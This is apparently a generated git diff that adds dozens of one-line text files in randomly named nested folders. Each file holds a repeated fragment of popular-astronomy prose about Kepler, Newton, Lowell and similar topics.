+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_dgugcpjafoyrktczzsmiump.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_dmvkxajbihmvqc.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_dmvkxajbihmvqc.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_dmvkxajbihmvqc.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_dtednufemfvjggknliik.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_dtednufemfvjggknliik.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_dtednufemfvjggknliik.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_exxotomxvww.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_exxotomxvww.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_exxotomxvww.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_gqtryfidhbvnk.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_gqtryfidhbvnk.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_gqtryfidhbvnk.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_heevpryhrwwphoofvvxvyvom.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_heevpryhrwwphoofvvxvyvom.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_heevpryhrwwphoofvvxvyvom.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_hyodtkdyan.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_hyodtkdyan.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_hyodtkdyan.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_iclcpftgmoqenmdpcsbyul.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_iclcpftgmoqenmdpcsbyul.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_iclcpftgmoqenmdpcsbyul.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_jmfcxpbwdzqife.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_jmfcxpbwdzqife.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_jmfcxpbwdzqife.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_ldrpowhtgzkl.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_ldrpowhtgzkl.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_ldrpowhtgzkl.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_lgnehaoralimu.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_lgnehaoralimu.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_lgnehaoralimu.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_ltcfeivhmyaer.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_ltcfeivhmyaer.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_ltcfeivhmyaer.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_nklzeqsoqxvgcxnhjazcmw.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_nklzeqsoqxvgcxnhjazcmw.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_nklzeqsoqxvgcxnhjazcmw.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_qzwdcffe.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_qzwdcffe.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_qzwdcffe.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_rmmqfelxosbpjqrdcbkidh.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_rmmqfelxosbpjqrdcbkidh.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_rmmqfelxosbpjqrdcbkidh.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_schbemhbgkwny.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_schbemhbgkwny.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_schbemhbgkwny.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_upsgrbdvhahypdddjoysih.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_upsgrbdvhahypdddjoysih.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_upsgrbdvhahypdddjoysih.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_xgifqdfwmqoajzahdslbqb.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_xgifqdfwmqoajzahdslbqb.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_xgifqdfwmqoajzahdslbqb.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_xyqzutkfxgthhlycoedqbu.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_xyqzutkfxgthhlycoedqbu.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_xyqzutkfxgthhlycoedqbu.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_zdtjfpqinthdfbqxhyf.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_zdtjfpqinthdfbqxhyf.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_zdtjfpqinthdfbqxhyf.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/apebojjkxwgfozld.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/apebojjkxwgfozld.txt
new file mode 100644
index 0000000..d2a648b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/apebojjkxwgfozld.txt
@@ -0,0 +1 @@
+too close and was torn apart by the gravitational tides. Alternatively, they may be the steady
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/cdjfwinnndrcjvrx.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/cdjfwinnndrcjvrx.txt
new file mode 100644
index 0000000..fa65921
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/cdjfwinnndrcjvrx.txt
@@ -0,0 +1 @@
+things generally known.’ Kepler, on the other hand, lectured on astronomy in schools, published extensively
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/cyoayhfjfdfslk.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/cyoayhfjfdfslk.txt
new file mode 100644
index 0000000..c72bd3f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/cyoayhfjfdfslk.txt
@@ -0,0 +1 @@
+we could ignore these eight minutes, I would have patched up my hypothesis
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/evjwvknpu.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/evjwvknpu.txt
new file mode 100644
index 0000000..e77cf74
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/evjwvknpu.txt
@@ -0,0 +1 @@
+away, and an extremely strong magnetic field to deflect the charged atoms into the scoop
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_arzvsbxak.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_arzvsbxak.txt
new file mode 100644
index 0000000..eb1a6c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_arzvsbxak.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_bykwifmyfseryunr.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_bykwifmyfseryunr.txt
new file mode 100644
index 0000000..eb1a6c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_bykwifmyfseryunr.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_cgwragmlxsnjzwmcfu.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_cgwragmlxsnjzwmcfu.txt
new file mode 100644
index 0000000..eb1a6c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_cgwragmlxsnjzwmcfu.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_elylodoxe.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_elylodoxe.txt
new file mode 100644
index 0000000..eb1a6c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_elylodoxe.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_hpjcvyxsedpyc.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_hpjcvyxsedpyc.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_hpjcvyxsedpyc.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_hxhsemwjqvcddwtnl.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_hxhsemwjqvcddwtnl.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_hxhsemwjqvcddwtnl.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_jlbzheifvqnegxdnbiukxs.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_jlbzheifvqnegxdnbiukxs.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_jlbzheifvqnegxdnbiukxs.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_jlqvnlsheehd.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_jlqvnlsheehd.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_jlqvnlsheehd.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_jvtxlmtvjcw.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_jvtxlmtvjcw.txt
new file mode 100644
index 0000000..eb1a6c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_jvtxlmtvjcw.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_lppkoasduqan.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_lppkoasduqan.txt
new file mode 100644
index 0000000..eb1a6c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_lppkoasduqan.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_nfcpklcndmulnlhnautjshh.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_nfcpklcndmulnlhnautjshh.txt
new file mode 100644
index 0000000..eb1a6c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_nfcpklcndmulnlhnautjshh.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_pkutksfr.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_pkutksfr.txt
new file mode 100644
index 0000000..eb1a6c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_pkutksfr.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_pxmwyycckfxadg.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_pxmwyycckfxadg.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_pxmwyycckfxadg.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_ucapzuturvgqbl.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_ucapzuturvgqbl.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_ucapzuturvgqbl.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_xdmkcymviayqlghmez.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_xdmkcymviayqlghmez.txt
new file mode 100644
index 0000000..eb1a6c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_xdmkcymviayqlghmez.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_ypipulqvaql.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_ypipulqvaql.txt
new file mode 100644
index 0000000..eb1a6c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_ypipulqvaql.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_zxejqnwikhy.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_zxejqnwikhy.txt
new file mode 100644
index 0000000..eb1a6c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/file_zxejqnwikhy.txt
@@ -0,0 +1 @@
+inexpensive editions. For the price of a modest meal you can ponder the decline and fall of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/ipuvntrzbbltvc.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/ipuvntrzbbltvc.txt
new file mode 100644
index 0000000..1480ab3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/ipuvntrzbbltvc.txt
@@ -0,0 +1 @@
+beneath it as it fell, it would plunge repeatedly through the rotating Earth, punching
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/jaylfdavflo.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/jaylfdavflo.txt
new file mode 100644
index 0000000..112d33f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/jaylfdavflo.txt
@@ -0,0 +1 @@
+Southwest, where the Lowell Observatory was located. He imagined the Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/lsqgdwuhumrlztpwvx.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/lsqgdwuhumrlztpwvx.txt
new file mode 100644
index 0000000..c144c16
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/lsqgdwuhumrlztpwvx.txt
@@ -0,0 +1 @@
+As a student, Newton was fascinated by light and transfixed by the Sun. He took to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/mqtjjszotqnnomx.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/mqtjjszotqnnomx.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/mqtjjszotqnnomx.txt
@@ -0,0 +1 @@
+from the horizon to the zenith. So a few minutes of arc is a very small quantity to measure -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/nsyvcaaecrodigcarjgvu.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/nsyvcaaecrodigcarjgvu.txt
new file mode 100644
index 0000000..4e025cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/nsyvcaaecrodigcarjgvu.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/oncgcslm.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/oncgcslm.txt
new file mode 100644
index 0000000..2158a79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/oncgcslm.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/ppwclmcfkmkwrrlxoujtax.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/ppwclmcfkmkwrrlxoujtax.txt
new file mode 100644
index 0000000..f09582c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/ppwclmcfkmkwrrlxoujtax.txt
@@ -0,0 +1 @@
+The Pythagoreans believed the sphere to be ‘perfect’, all points on its surface being
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/rguvjbwxi.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/rguvjbwxi.txt
new file mode 100644
index 0000000..cfa3d98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/folder_ainozfgeim/rguvjbwxi.txt
@@ -0,0 +1 @@
+different. At one locale in the American Southwest is a set of three upright slabs which
\ No newline at end of file
